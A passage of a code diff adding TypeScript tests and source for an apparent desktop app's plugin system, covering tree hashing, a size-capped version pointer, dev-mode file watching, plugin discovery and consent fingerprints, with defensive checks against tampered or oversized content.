|
||||
suspend: 'suspend'
|
||||
})
|
||||
)
|
||||
const pluginManifest = manifest({
|
||||
contributes: { vmRecipes: [{ path: 'recipes/invalid.json' }] }
|
||||
})
|
||||
|
||||
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toEqual({
|
||||
ok: true
|
||||
})
|
||||
await expect(validatePluginInstallContent(root, pluginManifest)).resolves.toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('suspend and resume')
|
||||
})
|
||||
})
|
||||
|
||||
it('rejects duplicate VM recipe ids at the immutable install boundary', async () => {
|
||||
const root = await tempRoot()
|
||||
await mkdir(join(root, 'recipes'))
|
||||
const recipe = JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
id: 'cloud',
|
||||
name: 'Cloud',
|
||||
create: 'create'
|
||||
})
|
||||
await Promise.all([
|
||||
writeFile(join(root, 'recipes', 'one.json'), recipe),
|
||||
writeFile(join(root, 'recipes', 'two.json'), recipe)
|
||||
])
|
||||
const pluginManifest = manifest({
|
||||
contributes: {
|
||||
vmRecipes: [{ path: 'recipes/one.json' }, { path: 'recipes/two.json' }]
|
||||
}
|
||||
})
|
||||
|
||||
await expect(validatePluginInstallContent(root, pluginManifest)).resolves.toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('duplicate VM recipe id "cloud"')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('hash-addressed plugin content', () => {
|
||||
it('uses unambiguous framing for paths and file contents', async () => {
|
||||
const first = await tempRoot()
|
||||
const second = await tempRoot()
|
||||
await writeFile(join(first, 'a'), Buffer.from('x\0b\0y'))
|
||||
await Promise.all([writeFile(join(second, 'a'), 'x'), writeFile(join(second, 'b'), 'y')])
|
||||
|
||||
const [firstHash, secondHash] = await Promise.all([
|
||||
hashPluginTree(first),
|
||||
hashPluginTree(second)
|
||||
])
|
||||
|
||||
expect(firstHash).toMatchObject({ ok: true })
|
||||
expect(secondHash).toMatchObject({ ok: true })
|
||||
if (firstHash.ok && secondHash.ok) {
|
||||
expect(firstHash.hash).not.toBe(secondHash.hash)
|
||||
}
|
||||
})
|
||||
|
||||
it('hashes and bounds nested .git directories as plugin content', async () => {
|
||||
const root = await tempRoot()
|
||||
const nestedGit = join(root, 'vendor', '.git')
|
||||
await mkdir(nestedGit, { recursive: true })
|
||||
const entry = join(nestedGit, 'main.mjs')
|
||||
await writeFile(entry, 'export default function activate() {}')
|
||||
const initial = await hashPluginTree(root)
|
||||
await writeFile(entry, 'export default function activate() { throw new Error("changed") }')
|
||||
const changed = await hashPluginTree(root)
|
||||
|
||||
expect(initial).toMatchObject({ ok: true })
|
||||
expect(changed).toMatchObject({ ok: true })
|
||||
if (initial.ok && changed.ok) {
|
||||
expect(changed.hash).not.toBe(initial.hash)
|
||||
}
|
||||
|
||||
await truncate(entry, 50 * 1024 * 1024 + 1)
|
||||
await expect(hashPluginTree(root)).resolves.toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('byte limit')
|
||||
})
|
||||
})
|
||||
|
||||
it('does not let host locale collation change a content address', async () => {
|
||||
const root = await tempRoot()
|
||||
await writeFile(join(root, 'alpha.txt'), 'a')
|
||||
await writeFile(join(root, 'zulu.txt'), 'z')
|
||||
const expected = await hashPluginTree(root)
|
||||
vi.spyOn(String.prototype, 'localeCompare').mockImplementation(() => -1)
|
||||
|
||||
const withDifferentCollation = await hashPluginTree(root)
|
||||
|
||||
expect(withDifferentCollation).toEqual(expected)
|
||||
})
|
||||
|
||||
it.skipIf(process.platform === 'win32')(
|
||||
'rejects Windows-reserved tree entries cross-platform',
|
||||
async () => {
|
||||
const root = await tempRoot()
|
||||
await writeFile(join(root, 'CON.txt'), 'reserved')
|
||||
|
||||
await expect(hashPluginTree(root)).resolves.toMatchObject({ ok: false })
|
||||
}
|
||||
)
|
||||
|
||||
it('detects content changed after its address was computed', async () => {
|
||||
const root = await tempRoot()
|
||||
const entry = join(root, 'panel.html')
|
||||
await writeFile(entry, '<h1>original</h1>')
|
||||
const initial = await hashPluginTree(root)
|
||||
expect(initial.ok).toBe(true)
|
||||
if (!initial.ok) {
|
||||
return
|
||||
}
|
||||
expect(initial.hash).toMatch(/^[0-9a-f]{64}$/)
|
||||
await expect(
|
||||
verifyHashAddressedPluginContent({
|
||||
rootDir: root,
|
||||
contentHash: initial.hash.slice(0, 32)
|
||||
})
|
||||
).resolves.toEqual({ ok: true })
|
||||
|
||||
await writeFile(entry, '<h1>tampered</h1>')
|
||||
|
||||
await expect(
|
||||
verifyHashAddressedPluginContent({ rootDir: root, contentHash: initial.hash })
|
||||
).resolves.toMatchObject({ ok: false })
|
||||
})
|
||||
|
||||
it('rejects an oversized sparse file before reading it into memory', async () => {
|
||||
const root = await tempRoot()
|
||||
const oversized = join(root, 'oversized.bin')
|
||||
await writeFile(oversized, '')
|
||||
await truncate(oversized, 50 * 1024 * 1024 + 1)
|
||||
|
||||
await expect(hashPluginTree(root)).resolves.toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('byte limit')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
import { createReadStream } from 'node:fs'
|
||||
import { rm } from 'node:fs/promises'
|
||||
import { join } from 'node:path'
|
||||
import { writePluginFileAtomically } from './plugin-atomic-file-write'
|
||||
|
||||
export const PLUGIN_CURRENT_POINTER_FILENAME = 'current'
|
||||
export const PLUGIN_CURRENT_POINTER_MAX_BYTES = 128
|
||||
|
||||
/** Reads the tiny hash pointer through a cap so discovery cannot allocate a
|
||||
* corrupt sparse file during startup. Missing pointers resolve to null. */
|
||||
export async function readPluginCurrentPointer(pluginDir: string): Promise<string | null> {
|
||||
const target = join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME)
|
||||
const chunks: Buffer[] = []
|
||||
let totalBytes = 0
|
||||
try {
|
||||
for await (const chunk of createReadStream(target)) {
|
||||
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
|
||||
totalBytes += bytes.byteLength
|
||||
if (totalBytes > PLUGIN_CURRENT_POINTER_MAX_BYTES) {
|
||||
throw new Error('current-version pointer exceeds its size limit')
|
||||
}
|
||||
chunks.push(bytes)
|
||||
}
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
return null
|
||||
}
|
||||
throw error
|
||||
}
|
||||
return Buffer.concat(chunks, totalBytes).toString('utf8').trim()
|
||||
}
|
||||
|
||||
export async function writePluginCurrentPointer(
|
||||
pluginDir: string,
|
||||
contentHash: string
|
||||
): Promise<void> {
|
||||
await writePluginFileAtomically(join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME), contentHash)
|
||||
}
|
||||
|
||||
export async function restorePluginCurrentPointer(
|
||||
pluginDir: string,
|
||||
previousContentHash: string | null
|
||||
): Promise<void> {
|
||||
if (previousContentHash === null) {
|
||||
await rm(join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME), { force: true })
|
||||
return
|
||||
}
|
||||
await writePluginCurrentPointer(pluginDir, previousContentHash)
|
||||
}
|
||||
|
|
@ -0,0 +1,64 @@
|
|||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { PluginDevWatcher } from './plugin-dev-watcher'
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers()
|
||||
})
|
||||
|
||||
describe('PluginDevWatcher', () => {
|
||||
it('contains asynchronous watcher errors and requests a retrying refresh', async () => {
|
||||
vi.useFakeTimers()
|
||||
let onEvent!: (error: Error | null) => void
|
||||
const unsubscribe = vi.fn().mockResolvedValue(undefined)
|
||||
const subscribePath = vi.fn(async (_path, callback: typeof onEvent) => {
|
||||
onEvent = callback
|
||||
return { unsubscribe }
|
||||
})
|
||||
const devWatcher = new PluginDevWatcher(subscribePath)
|
||||
const refresh = vi.fn()
|
||||
const onWatcherError = vi.fn()
|
||||
devWatcher.start(['/plugins/demo'], refresh, onWatcherError)
|
||||
await vi.waitFor(() => expect(subscribePath).toHaveBeenCalledOnce())
|
||||
|
||||
expect(() => onEvent(new Error('watch failed'))).not.toThrow()
|
||||
await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledOnce())
|
||||
expect(onWatcherError).toHaveBeenCalledOnce()
|
||||
vi.advanceTimersByTime(300)
|
||||
expect(refresh).toHaveBeenCalledOnce()
|
||||
|
||||
devWatcher.dispose()
|
||||
})
|
||||
|
||||
it('unsubscribes a subscription that resolves after disposal', async () => {
|
||||
let resolveSubscription!: (value: { unsubscribe: () => Promise<void> }) => void
|
||||
const unsubscribe = vi.fn().mockResolvedValue(undefined)
|
||||
const subscribePath = vi.fn(
|
||||
() =>
|
||||
new Promise<{ unsubscribe: () => Promise<void> }>((resolve) => {
|
||||
resolveSubscription = resolve
|
||||
})
|
||||
)
|
||||
const devWatcher = new PluginDevWatcher(subscribePath)
|
||||
|
||||
devWatcher.start(['/plugins/demo'], vi.fn())
|
||||
devWatcher.dispose()
|
||||
resolveSubscription({ unsubscribe })
|
||||
|
||||
await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledOnce())
|
||||
})
|
||||
|
||||
it('does not spin refreshes when a missing path cannot be subscribed', async () => {
|
||||
vi.useFakeTimers()
|
||||
const subscribePath = vi.fn().mockRejectedValue(new Error('missing path'))
|
||||
const refresh = vi.fn()
|
||||
const onWatcherError = vi.fn()
|
||||
const devWatcher = new PluginDevWatcher(subscribePath)
|
||||
|
||||
devWatcher.start(['/plugins/missing'], refresh, onWatcherError)
|
||||
await vi.waitFor(() => expect(onWatcherError).toHaveBeenCalledOnce())
|
||||
vi.advanceTimersByTime(10_000)
|
||||
|
||||
expect(refresh).not.toHaveBeenCalled()
|
||||
devWatcher.dispose()
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
import {
|
||||
subscribeViaWatcherProcess,
|
||||
type WatcherProcessSubscription
|
||||
} from '../ipc/parcel-watcher-process'
|
||||
|
||||
type SubscribePluginPath = (
|
||||
path: string,
|
||||
onEvent: (error: Error | null) => void,
|
||||
onInterruption: () => void
|
||||
) => Promise<WatcherProcessSubscription>
|
||||
|
||||
const subscribePluginPath: SubscribePluginPath = (path, onEvent, onInterruption) =>
|
||||
subscribeViaWatcherProcess(
|
||||
path,
|
||||
(error) => onEvent(error),
|
||||
{},
|
||||
{
|
||||
onInterruption,
|
||||
onTerminalError: onEvent
|
||||
}
|
||||
)
|
||||
|
||||
/** Owns debounced manifest/panel refresh watchers for mutable dev plugins. */
|
||||
export class PluginDevWatcher {
|
||||
private readonly subscriptions: WatcherProcessSubscription[] = []
|
||||
private refreshTimer: ReturnType<typeof setTimeout> | null = null
|
||||
private generation = 0
|
||||
|
||||
constructor(private readonly subscribePath: SubscribePluginPath = subscribePluginPath) {}
|
||||
|
||||
start(devPaths: readonly string[], refresh: () => void, onWatcherError?: () => void): void {
|
||||
const generation = ++this.generation
|
||||
for (const devPath of devPaths) {
|
||||
let subscription: WatcherProcessSubscription | null = null
|
||||
let failedBeforeReady = false
|
||||
const fail = (): void => {
|
||||
if (generation !== this.generation) {
|
||||
return
|
||||
}
|
||||
failedBeforeReady = true
|
||||
if (subscription) {
|
||||
this.removeSubscription(subscription)
|
||||
void subscription.unsubscribe()
|
||||
}
|
||||
onWatcherError?.()
|
||||
this.scheduleRefresh(refresh)
|
||||
}
|
||||
void this.subscribePath(
|
||||
devPath,
|
||||
(error) => {
|
||||
if (error) {
|
||||
fail()
|
||||
} else if (generation === this.generation) {
|
||||
this.scheduleRefresh(refresh)
|
||||
}
|
||||
},
|
||||
() => {
|
||||
if (generation === this.generation) {
|
||||
// The watcher process recovered, but changes during the gap were
|
||||
// lost, so refresh the complete plugin projection once.
|
||||
this.scheduleRefresh(refresh)
|
||||
}
|
||||
}
|
||||
)
|
||||
.then((created) => {
|
||||
subscription = created
|
||||
if (generation !== this.generation || failedBeforeReady) {
|
||||
void created.unsubscribe()
|
||||
return
|
||||
}
|
||||
this.subscriptions.push(created)
|
||||
})
|
||||
.catch(() => {
|
||||
if (generation === this.generation) {
|
||||
onWatcherError?.()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
dispose(): void {
|
||||
this.generation += 1
|
||||
if (this.refreshTimer) {
|
||||
clearTimeout(this.refreshTimer)
|
||||
this.refreshTimer = null
|
||||
}
|
||||
for (const subscription of this.subscriptions.splice(0)) {
|
||||
void subscription.unsubscribe()
|
||||
}
|
||||
}
|
||||
|
||||
private removeSubscription(subscription: WatcherProcessSubscription): void {
|
||||
const index = this.subscriptions.indexOf(subscription)
|
||||
if (index >= 0) {
|
||||
this.subscriptions.splice(index, 1)
|
||||
}
|
||||
}
|
||||
|
||||
private scheduleRefresh(refresh: () => void): void {
|
||||
if (this.refreshTimer) {
|
||||
clearTimeout(this.refreshTimer)
|
||||
}
|
||||
this.refreshTimer = setTimeout(() => {
|
||||
this.refreshTimer = null
|
||||
refresh()
|
||||
}, 300)
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,129 @@
|
|||
import { mkdir, mkdtemp, rm, truncate, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { discoverPlugins, isInvalidDiscoveredPlugin } from './plugin-discovery'
|
||||
import { PLUGIN_CURRENT_POINTER_MAX_BYTES } from './plugin-current-pointer'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
async function tempPluginsDir(): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-discovery-'))
|
||||
roots.push(root)
|
||||
return root
|
||||
}
|
||||
|
||||
describe('installed plugin discovery identity', () => {
|
||||
it('keeps the install directory identity when a manifest is invalid or mismatched', async () => {
|
||||
const pluginsDir = await tempPluginsDir()
|
||||
const installedKey = 'orca-samples.expected'
|
||||
const hash = 'a'.repeat(64)
|
||||
const versionDir = join(pluginsDir, installedKey, hash)
|
||||
await mkdir(versionDir, { recursive: true })
|
||||
await writeFile(join(pluginsDir, installedKey, 'current'), hash)
|
||||
await writeFile(
|
||||
join(versionDir, 'orca-plugin.json'),
|
||||
JSON.stringify({
|
||||
manifestVersion: 1,
|
||||
id: 'different',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Different',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: { panels: [], commands: [], events: [] },
|
||||
capabilities: []
|
||||
})
|
||||
)
|
||||
|
||||
const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
|
||||
|
||||
expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
|
||||
expect(plugin?.pluginKey).toBe(installedKey)
|
||||
expect(plugin && 'error' in plugin ? plugin.error : '').toContain('does not match')
|
||||
})
|
||||
|
||||
it('keeps a removable qualified identity when the current pointer is missing', async () => {
|
||||
const pluginsDir = await tempPluginsDir()
|
||||
const installedKey = 'orca-samples.broken'
|
||||
await mkdir(join(pluginsDir, installedKey), { recursive: true })
|
||||
|
||||
const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
|
||||
|
||||
expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
|
||||
expect(plugin?.pluginKey).toBe(installedKey)
|
||||
})
|
||||
|
||||
it('rejects an oversized current pointer without an unbounded startup read', async () => {
|
||||
const pluginsDir = await tempPluginsDir()
|
||||
const installedKey = 'orca-samples.broken'
|
||||
const pluginDir = join(pluginsDir, installedKey)
|
||||
await mkdir(pluginDir, { recursive: true })
|
||||
const pointer = join(pluginDir, 'current')
|
||||
await writeFile(pointer, '')
|
||||
await truncate(pointer, PLUGIN_CURRENT_POINTER_MAX_BYTES + 1)
|
||||
|
||||
const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
|
||||
|
||||
expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
|
||||
expect(plugin?.pluginKey).toBe(installedKey)
|
||||
})
|
||||
})
|
||||
|
||||
describe('instructional plugin discovery identity', () => {
|
||||
it('changes dev consent when a VM recipe command changes', async () => {
|
||||
const pluginsDir = await tempPluginsDir()
|
||||
const devRoot = await tempPluginsDir()
|
||||
await mkdir(join(devRoot, 'recipes'))
|
||||
await writeFile(
|
||||
join(devRoot, 'orca-plugin.json'),
|
||||
JSON.stringify({
|
||||
manifestVersion: 1,
|
||||
id: 'recipes',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Recipes',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: { vmRecipes: [{ path: 'recipes/cloud.json' }] },
|
||||
capabilities: []
|
||||
})
|
||||
)
|
||||
const recipePath = join(devRoot, 'recipes', 'cloud.json')
|
||||
await writeFile(
|
||||
recipePath,
|
||||
JSON.stringify({ schemaVersion: 1, id: 'cloud', name: 'Cloud', create: 'create-v1' })
|
||||
)
|
||||
const [first] = await discoverPlugins({
|
||||
pluginsDir,
|
||||
devPluginPaths: [devRoot],
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
await writeFile(
|
||||
recipePath,
|
||||
JSON.stringify({ schemaVersion: 1, id: 'cloud', name: 'Cloud', create: 'create-v2' })
|
||||
)
|
||||
const [second] = await discoverPlugins({
|
||||
pluginsDir,
|
||||
devPluginPaths: [devRoot],
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(first && !isInvalidDiscoveredPlugin(first)).toBe(true)
|
||||
expect(second && !isInvalidDiscoveredPlugin(second)).toBe(true)
|
||||
if (
|
||||
!first ||
|
||||
!second ||
|
||||
isInvalidDiscoveredPlugin(first) ||
|
||||
isInvalidDiscoveredPlugin(second)
|
||||
) {
|
||||
return
|
||||
}
|
||||
expect(second.consentContentHash).not.toBe(first.consentContentHash)
|
||||
expect(second.consentFingerprint).not.toBe(first.consentFingerprint)
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,254 @@
|
|||
import { readdir } from 'node:fs/promises'
|
||||
import type { Dirent } from 'node:fs'
|
||||
import { join } from 'node:path'
|
||||
import { PLUGIN_CONTENT_HASH_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
|
||||
import {
|
||||
PLUGIN_MANIFEST_FILENAME,
|
||||
isQualifiedPluginKey,
|
||||
parsePluginManifest,
|
||||
qualifiedPluginKey,
|
||||
satisfiesOrcaEngineRange,
|
||||
type PluginManifest
|
||||
} from '../../shared/plugins/plugin-manifest'
|
||||
import {
|
||||
fingerprintPluginConsent,
|
||||
hasInstructionalPluginContributions
|
||||
} from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import { validateDeclaredPluginArtifacts } from './plugin-artifact-validation'
|
||||
import { readPluginManifestText } from './plugin-manifest-file'
|
||||
import { readPluginCurrentPointer } from './plugin-current-pointer'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
|
||||
export { PLUGIN_CURRENT_POINTER_FILENAME } from './plugin-current-pointer'
|
||||
|
||||
const INSTALLED_PLUGIN_DISCOVERY_CONCURRENCY = 8
|
||||
|
||||
/**
|
||||
* Discovery over the hash-addressed install layout:
|
||||
*
|
||||
* <userData>/plugins/<publisher>.<id>/current ← text file naming the hash
|
||||
* <userData>/plugins/<publisher>.<id>/<hash>/ ← immutable install tree
|
||||
*
|
||||
* plus dev-mode plugins loaded straight from arbitrary local directories.
|
||||
* Discovery reads manifests and checks only their declared artifact paths —
|
||||
* never plugin bytes or whole trees. Full content hashing stays lazy so
|
||||
* startup cost is bounded by installed plugins plus declared entries.
|
||||
*/
|
||||
|
||||
export type ValidDiscoveredPlugin = {
|
||||
/** Qualified `<publisher>.<id>` key. */
|
||||
pluginKey: string
|
||||
rootDir: string
|
||||
manifest: PluginManifest
|
||||
/** Fingerprint of the capabilities and trusted-worker execution tier. */
|
||||
consentFingerprint: string
|
||||
/** Immutable tree identity included in consent for instructional packs. */
|
||||
consentContentHash?: string | null
|
||||
/** Content hash the install dir is named by; null for dev plugins. */
|
||||
contentHash: string | null
|
||||
isDev: boolean
|
||||
}
|
||||
|
||||
export type InvalidDiscoveredPlugin = {
|
||||
pluginKey?: string
|
||||
rootDir: string
|
||||
error: string
|
||||
isDev: boolean
|
||||
}
|
||||
|
||||
export type DiscoveredPlugin = ValidDiscoveredPlugin | InvalidDiscoveredPlugin
|
||||
|
||||
export function isInvalidDiscoveredPlugin(
|
||||
plugin: DiscoveredPlugin
|
||||
): plugin is InvalidDiscoveredPlugin {
|
||||
return 'error' in plugin
|
||||
}
|
||||
|
||||
export function getUserPluginsDir(userDataPath: string): string {
|
||||
return join(userDataPath, 'plugins')
|
||||
}
|
||||
|
||||
export function getPluginsDataDir(userDataPath: string): string {
|
||||
return join(userDataPath, 'plugins-data')
|
||||
}
|
||||
|
||||
async function readManifestDir(
|
||||
rootDir: string,
|
||||
hostVersion: string,
|
||||
isDev: boolean,
|
||||
installedContentHash?: string
|
||||
): Promise<DiscoveredPlugin> {
|
||||
let rawText: string
|
||||
try {
|
||||
rawText = await readPluginManifestText(rootDir)
|
||||
} catch (error) {
|
||||
return {
|
||||
rootDir,
|
||||
error:
|
||||
error instanceof Error && error.message.includes('exceeds')
|
||||
? error.message
|
||||
: `missing ${PLUGIN_MANIFEST_FILENAME}`,
|
||||
isDev
|
||||
}
|
||||
}
|
||||
let raw: unknown
|
||||
try {
|
||||
raw = JSON.parse(rawText)
|
||||
} catch (error) {
|
||||
return {
|
||||
rootDir,
|
||||
error: `invalid JSON in ${PLUGIN_MANIFEST_FILENAME}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
isDev
|
||||
}
|
||||
}
|
||||
const parsed = parsePluginManifest(raw)
|
||||
if (!parsed.ok) {
|
||||
return { rootDir, error: `invalid manifest: ${parsed.error}`, isDev }
|
||||
}
|
||||
const manifest = parsed.manifest
|
||||
const pluginKey = qualifiedPluginKey(manifest)
|
||||
if (!satisfiesOrcaEngineRange(hostVersion, manifest.engines.orca)) {
|
||||
return {
|
||||
pluginKey,
|
||||
rootDir,
|
||||
error: `requires Orca ${manifest.engines.orca} (this is ${hostVersion})`,
|
||||
isDev
|
||||
}
|
||||
}
|
||||
const artifacts = await validateDeclaredPluginArtifacts(rootDir, manifest)
|
||||
if (!artifacts.ok) {
|
||||
return {
|
||||
pluginKey,
|
||||
rootDir,
|
||||
error: `invalid declared artifact: ${artifacts.error}`,
|
||||
isDev
|
||||
}
|
||||
}
|
||||
let consentContentIdentity: string | undefined
|
||||
if (installedContentHash && hasInstructionalPluginContributions(manifest)) {
|
||||
consentContentIdentity = installedContentHash
|
||||
}
|
||||
if (isDev && hasInstructionalPluginContributions(manifest)) {
|
||||
const treeHash = await hashPluginTree(rootDir)
|
||||
if (!treeHash.ok) {
|
||||
return { pluginKey, rootDir, error: treeHash.error, isDev }
|
||||
}
|
||||
consentContentIdentity = treeHash.hash
|
||||
}
|
||||
return {
|
||||
pluginKey,
|
||||
rootDir,
|
||||
manifest,
|
||||
consentFingerprint: fingerprintPluginConsent(manifest, consentContentIdentity),
|
||||
consentContentHash: consentContentIdentity ?? null,
|
||||
contentHash: null,
|
||||
isDev
|
||||
}
|
||||
}
|
||||
|
||||
async function readInstalledPlugin(
|
||||
pluginDir: string,
|
||||
dirName: string,
|
||||
hostVersion: string
|
||||
): Promise<DiscoveredPlugin> {
|
||||
let contentHash: string
|
||||
try {
|
||||
contentHash = (await readPluginCurrentPointer(pluginDir)) ?? ''
|
||||
} catch {
|
||||
return {
|
||||
pluginKey: dirName,
|
||||
rootDir: pluginDir,
|
||||
error: 'missing current-version pointer',
|
||||
isDev: false
|
||||
}
|
||||
}
|
||||
// The pointer names a sibling directory; refuse anything path-like so a
|
||||
// corrupted pointer cannot address content outside the plugin dir.
|
||||
if (!PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
|
||||
return {
|
||||
pluginKey: dirName,
|
||||
rootDir: pluginDir,
|
||||
error: 'corrupt current-version pointer',
|
||||
isDev: false
|
||||
}
|
||||
}
|
||||
const versionDir = join(pluginDir, contentHash)
|
||||
const discovered = await readManifestDir(versionDir, hostVersion, false, contentHash)
|
||||
if (isInvalidDiscoveredPlugin(discovered)) {
|
||||
return { ...discovered, pluginKey: dirName }
|
||||
}
|
||||
// Why: the directory name is the install key (and the uninstall target); a
|
||||
// mismatched manifest identity would let two dirs claim the same plugin.
|
||||
if (discovered.pluginKey !== dirName) {
|
||||
return {
|
||||
pluginKey: dirName,
|
||||
rootDir: versionDir,
|
||||
error: `manifest identity "${discovered.pluginKey}" does not match install directory "${dirName}"`,
|
||||
isDev: false
|
||||
}
|
||||
}
|
||||
return { ...discovered, contentHash }
|
||||
}
|
||||
|
||||
async function readInstalledPlugins(
|
||||
pluginsDir: string,
|
||||
entries: readonly Dirent[],
|
||||
hostVersion: string
|
||||
): Promise<DiscoveredPlugin[]> {
|
||||
const results = Array.from({ length: entries.length }) as DiscoveredPlugin[]
|
||||
let nextIndex = 0
|
||||
const readers = Array.from(
|
||||
{ length: Math.min(INSTALLED_PLUGIN_DISCOVERY_CONCURRENCY, entries.length) },
|
||||
async () => {
|
||||
while (nextIndex < entries.length) {
|
||||
const index = nextIndex++
|
||||
const entry = entries[index]!
|
||||
results[index] = await readInstalledPlugin(
|
||||
join(pluginsDir, entry.name),
|
||||
entry.name,
|
||||
hostVersion
|
||||
)
|
||||
}
|
||||
}
|
||||
)
|
||||
await Promise.all(readers)
|
||||
return results
|
||||
}
|
||||
|
||||
export async function discoverPlugins(options: {
|
||||
pluginsDir: string
|
||||
devPluginPaths: readonly string[]
|
||||
hostVersion: string
|
||||
}): Promise<DiscoveredPlugin[]> {
|
||||
const discovered: DiscoveredPlugin[] = []
|
||||
let entries: Dirent[] = []
|
||||
try {
|
||||
entries = await readdir(options.pluginsDir, { withFileTypes: true })
|
||||
} catch {
|
||||
// A missing plugins dir just means no plugins are installed yet.
|
||||
}
|
||||
const installedEntries = entries.filter(
|
||||
(entry) => entry.isDirectory() && isQualifiedPluginKey(entry.name)
|
||||
)
|
||||
// Installed manifests are independent immutable trees. Read them in
|
||||
// a bounded pool so startup latency stays low without exhausting handles.
|
||||
discovered.push(
|
||||
...(await readInstalledPlugins(options.pluginsDir, installedEntries, options.hostVersion))
|
||||
)
|
||||
for (const devPath of options.devPluginPaths) {
|
||||
const plugin = await readManifestDir(devPath, options.hostVersion, true)
|
||||
// A dev path that duplicates an installed plugin's identity wins — that
|
||||
// is the point of dev mode — but two dev paths must not collide.
|
||||
if (!isInvalidDiscoveredPlugin(plugin)) {
|
||||
const collision = discovered.find(
|
||||
(existing) =>
|
||||
!isInvalidDiscoveredPlugin(existing) && existing.pluginKey === plugin.pluginKey
|
||||
)
|
||||
if (collision) {
|
||||
discovered.splice(discovered.indexOf(collision), 1)
|
||||
}
|
||||
}
|
||||
discovered.push(plugin)
|
||||
}
|
||||
return discovered
|
||||
}
|
||||
|
|
@ -0,0 +1,132 @@
|
|||
import { tmpdir } from 'node:os'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { getDefaultSettings } from '../../shared/constants'
|
||||
import type { GlobalSettings } from '../../shared/types'
|
||||
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
|
||||
import type { Store } from '../persistence'
|
||||
import { applyPluginConsent, applyPluginEnablement } from './plugin-enablement'
|
||||
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
||||
import type { PluginService } from './plugin-service'
|
||||
|
||||
const pluginKey = 'orca-samples.demo'
|
||||
const manifest = pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id: 'demo',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Demo',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: {},
|
||||
capabilities: []
|
||||
})
|
||||
|
||||
function createStore(): {
|
||||
store: Store
|
||||
getSettings: () => GlobalSettings
|
||||
updateSettings: ReturnType<typeof vi.fn>
|
||||
} {
|
||||
let settings = getDefaultSettings(tmpdir())
|
||||
const updateSettings = vi.fn((updates: Partial<GlobalSettings>) => {
|
||||
settings = { ...settings, ...updates }
|
||||
})
|
||||
return {
|
||||
store: { getSettings: () => settings, updateSettings } as unknown as Store,
|
||||
getSettings: () => settings,
|
||||
updateSettings
|
||||
}
|
||||
}
|
||||
|
||||
function createPluginService(
|
||||
getFingerprint: () => string,
|
||||
overrides: Partial<ValidDiscoveredPlugin> = {}
|
||||
): PluginService {
|
||||
return {
|
||||
findValidPlugin: (requestedKey: string) =>
|
||||
requestedKey === pluginKey
|
||||
? {
|
||||
pluginKey,
|
||||
rootDir: tmpdir(),
|
||||
manifest,
|
||||
consentFingerprint: getFingerprint(),
|
||||
consentContentHash: null,
|
||||
contentHash: null,
|
||||
isDev: true,
|
||||
...overrides
|
||||
}
|
||||
: null,
|
||||
reconcileActivationState: vi.fn().mockResolvedValue(undefined)
|
||||
} as unknown as PluginService
|
||||
}
|
||||
|
||||
describe('applyPluginConsent', () => {
|
||||
it('stores approval only for the fingerprint the user reviewed', async () => {
|
||||
const harness = createStore()
|
||||
const pluginService = createPluginService(() => 'sha256-reviewed')
|
||||
|
||||
await applyPluginConsent({
|
||||
store: harness.store,
|
||||
pluginService,
|
||||
pluginKey,
|
||||
reviewedFingerprint: 'sha256-reviewed',
|
||||
decision: 'approve'
|
||||
})
|
||||
|
||||
